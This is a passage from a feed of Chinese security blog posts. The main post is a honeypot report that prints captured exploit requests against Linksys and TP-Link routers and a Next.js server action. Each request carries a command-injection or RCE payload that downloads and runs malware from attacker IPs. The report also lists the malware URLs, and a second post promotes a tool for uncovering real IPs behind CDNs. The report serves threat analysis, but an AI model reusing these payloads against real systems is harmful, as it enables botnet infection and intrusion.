&#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">恶意文件及恶意链接：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="http://202.70.139.79:45723/Mozi.m" target="_blank">http://202.70.139.79:45723/Mozi.m</a></span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">4、Linksys路由器E/WAG/WAP/WES/WET/WRT系列（CVE-2025-34037）</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">捕获到的漏洞利用 POC 如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">POST</span> /tmUnblock.cgi HTTP/<span class="code-snippet__number">1</span>.<span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Connection</span>: keep-alive</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Accept</span>-Encoding: gzip, deflate</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Accept</span>: /</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">User</span>-Agent: r00ts3c-owned-you</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Content</span>-Length: <span class="code-snippet__number">223</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Content</span>-Type: application/x-www-form-urlencoded</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">ttcp_ip</span>=-h+%<span class="code-snippet__number">60</span>cd+%<span class="code-snippet__number">2</span>Ftmp%<span class="code-snippet__number">3</span>B+rm+-rf+kaizen.mpsl%<span class="code-snippet__number">3</span>B+wget+http%<span class="code-snippet__number">3</span>A%<span class="code-snippet__number">2</span>F%<span class="code-snippet__number">2</span>F<span class="code-snippet__number">83.142.209.46</span>%<span class="code-snippet__number">2</span>Fbins%<span class="code-snippet__number">2</span>Fkaizen.mpsl%<span class="code-snippet__number">3</span>B+chmod+<span class="code-snippet__number">777</span>+kaizen.mpsl%<span class="code-snippet__number">3</span>B+.%<span class="code-snippet__number">2</span>Fkaizen.mpsl+linksys%<span class="code-snippet__number">60</span>&amp;action=&amp;ttcp_num=<span class="code-snippet__number">2</span>&amp;ttcp_size=<span class="code-snippet__number">2</span>&amp;submit_button=&amp;change_action=&amp;commi</span></code><br/></pre></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">恶意文件及恶意链接：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="http://83.142.209.46/bins/kaizen.mpsl" target="_blank">http://83.142.209.46/bins/kaizen.mpsl</a></span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">5、TP-link 漏洞 CVE-2023-1389 命令执行</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">捕获到的漏洞利用 POC 如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1</span></code><br/><code><span leaf="">Accept-Encoding: identity</span></code><br/><code><span leaf="">Content-Type: application/x-www-form-urlencoded</span></code><br/><code><span leaf="">Content-Length: 291</span></code><br/><code><span leaf="">User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0</span></code><br/><code><span leaf="">Connection: close</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">operation=write&amp;country=$(<span class="code-snippet__built_in">cd</span> /tmp || <span class="code-snippet__built_in">cd</span> /var/run || <span class="code-snippet__built_in">cd</span> /mnt || <span class="code-snippet__built_in">cd</span> /root || <span class="code-snippet__built_in">cd</span> /; wget -q -O ghost.sh <a href="http://94.154.43.158/ghost.sh;" target="_blank">http://94.154.43.158/ghost.sh;</a> <span class="code-snippet__built_in">chmod</span> 777 *; <span class="code-snippet__built_in">nohup</span> sh ghost.sh &gt; /dev/null 2&gt;&amp;1 &amp; tftp -g 94.154.43.158 -r tftp1.sh; <span class="code-snippet__built_in">chmod</span> 777 *; <span class="code-snippet__built_in">nohup</span> sh tftp1.sh &gt; /dev/null 2&gt;&amp;1 &amp; <span class="code-snippet__built_in">rm</span> -rf *.sh; <span class="code-snippet__built_in">history</span> -c)</span></code><br/></pre></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">恶意文件及恶意链接：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="http://94.154.43.158/ghost.sh" target="_blank">http://94.154.43.158/ghost.sh</a></span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">6、Dify Next.js CVE-2025-55182 RCE 漏洞</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">捕获到的漏洞利用 POC 如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">POST /_next/server HTTP/1.1</span></code><br/><code><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0</span></code><br/><code><span leaf="">Connection: close</span></code><br/><code><span leaf="">Accept: text/x-component</span></code><br/><code><span leaf="">Next-Action: x</span></code><br/><code><span leaf="">Content-Type: multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02</span></code><br/><code><span leaf="">Content-Length: 694</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">--0fdf55df9e085737676f582ed4e95a02</span></code><br/><code><span leaf="">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;0&#34;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">{<span class="code-snippet__string">&#34;then&#34;</span>:<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$1</span></span><span class="code-snippet__string">:__proto__:then&#34;</span>,<span class="code-snippet__string">&#34;status&#34;</span>:<span class="code-snippet__string">&#34;resolved_model&#34;</span>,<span class="code-snippet__string">&#34;reason&#34;</span>:-1,<span class="code-snippet__string">&#34;value&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;then\&#34;:\&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$B1337</span></span><span class="code-snippet__string">\&#34;}&#34;</span>,<span class="code-snippet__string">&#34;_response&#34;</span>:{<span class="code-snippet__string">&#34;_prefix&#34;</span>:<span class="code-snippet__string">&#34;process.mainModule.require(&#39;http&#39;).request({host:&#39;45.153.34.153&#39;, port:80, path:&#39;/rondo.aqu.sh&#39;, headers:{&#39;User-Agent&#39;:&#39;node&#39;}},r=&gt;r.pipe(process.mainModule.require(&#39;child_process&#39;).spawn(&#39;/bin/sh&#39;).stdin)).end();&#34;</span>,<span class="code-snippet__string">&#34;_chunks&#34;</span>:<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$Q2</span></span><span class="code-snippet__string">&#34;</span>,<span class="code-snippet__string">&#34;_formData&#34;</span>:{<span class="code-snippet__string">&#34;get&#34;</span>:<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$1</span></span><span class="code-snippet__string">:constructor:constructor&#34;</span>}}}</span></code><br/><code><span leaf="">--0fdf55df9e085737676f582ed4e95a02</span></code><br/><code><span leaf="">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;1&#34;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$@0</span></span><span class="code-snippet__string">&#34;</span></span></code><br/><code><span leaf="">--0fdf55df9e085737676f582ed4e95a02</span></code><br/><code><span leaf="">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;2&#34;</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">[]</span></code><br/><code><span leaf="">--0fdf55df9e085737676f582ed4e95a02--</span></code><br/><code></code><br/></pre></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">恶意文件及恶意链接：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="http://45.153.34.153//rondo.aqu.sh" target="_blank">http://45.153.34.153//rondo.aqu.sh</a></span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">总结</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">从漏洞利用的系统来看，针对路由器等网络设备的攻击比较多，主要原因有几个：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、路由器等设备不能及时更新，历史漏洞不修复的居多</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、路由器作为边界的网络设备，一旦攻陷就能突破边界进入内容，从而横向扩展</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3、路由器出 RCE 漏洞的情况比较多</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">一旦出现新的 RCE 漏洞，最先应用于实战的一定是黑灰产人员，为此，作为企业，在新的漏洞爆发之后，一定要及时排查修复，不然就会成为首批被沦陷的对象。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">为了更好的运营蜜罐系统，在我们的文库新增了一个蜜罐分析文集，近期的捕获和分析结果也都记录在上，还有一些未知 POC，欢迎订阅：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span leaf=""><img alt="截屏2026-07-04 07.26.37" class="rich_pages wxw-img" data-ratio="0.46296296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016956" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=66dc6295&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTb3T9fUdDj3BQrw0fdeZDDen5f6MfHowNOofdZIhv8YbiaaWibMhmD9nO6Pk0NSfYU1duOz31Fl9lE6hH0gZRjZTYMQrY4e8mUTE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">我们的产品包括：成长平台、内部文库、资产管理等，欢迎了解：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="https://www.xazlsec.com" target="_blank">https://www.xazlsec.com</a></span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3bf92ebe&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500609%26idx%3D1%26sn%3D7587d82df5f38fbecacec0e73313c22f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 04 Jul 2026 08:03:00 +0800</pubDate>
    </item>
    <item>
      <title>新功能上线！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500603&amp;idx=1&amp;sn=2b6f39534cc715ba5de223fb13aaa30e</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-06-28 18:05</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9fadb9dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTaWj71OPaTlicyfviaZcWpYMEa1uncG8ph875LolIIk4LUIwFuW84rqtD1IAicR6sLlb4yic9SCf3HYvrQVmILjfibxhfTco5ZibBjibo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">资产管理系统新上线一个功能，可以查看 IP 历史关联域名以及反过来查询域名解析过的 IP 地址，主要应用场景：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、寻找 CDN 背后的真实 IP，比如某个子域名存在 CDN 解析，可以通过查询主域名关联的所有 IP 地址，通过 host 碰撞来完成真实 IP 的发现</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、发现某个 IP 的某个端口存在漏洞，可以尝试查询关联来确定目标归属，还可以根据解析过的主域名来判断 IP 是 CDN 等云服务的还是目标的，方便定位 IP 归属</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">比如通过域名查询解析过的 IP 地址：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img data-aistatus="1" alt="截屏2026-06-28 17.48.17" class="rich_pages wxw-img" data-ratio="0.46296296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-imgfileid="100016950" src="https://wechat2rss.xlab.app/img-proxy/?k=101825b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTa4NUCuh5aziarmtWUrQN2N4cOgb4g5v11tn3KG2MVwZkLiaibwotzVkVseO8o9vt8FL3UnhU7m94N4rRZ6gxBR5fEP7s6QylarY8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">当查询主域名时，如果想知道与该主域名相关的 whois、dns、备案权重、子域名、关联资产等情况，可以通过按钮来跳转外站查询相关信息。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">当你点击 IP 节点时，可以自动查询与该 IP 关联的主域名，如果想知道与该 IP 相关的地理位置、子域名、端口情况可以点击按钮直达外站查询：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img data-aistatus="1" alt="截屏2026-06-28 17.49.49" class="rich_pages wxw-img" data-ratio="0.46296296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-imgfileid="100016949" src="https://wechat2rss.xlab.app/img-proxy/?k=c70a3e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZnrbGFZmccpD21GicJ4cd2PiaWNDeZRAtrZJ4dMoezG84DB7oGVPHgSZSL0XUelSWzCj9lZh097lPORGSveYTXXrAEJjicy3aM2w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">除此之外，我还在自定查询域名的备案权重、域名解析记录等信息，在平台会有部分标记，比如：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 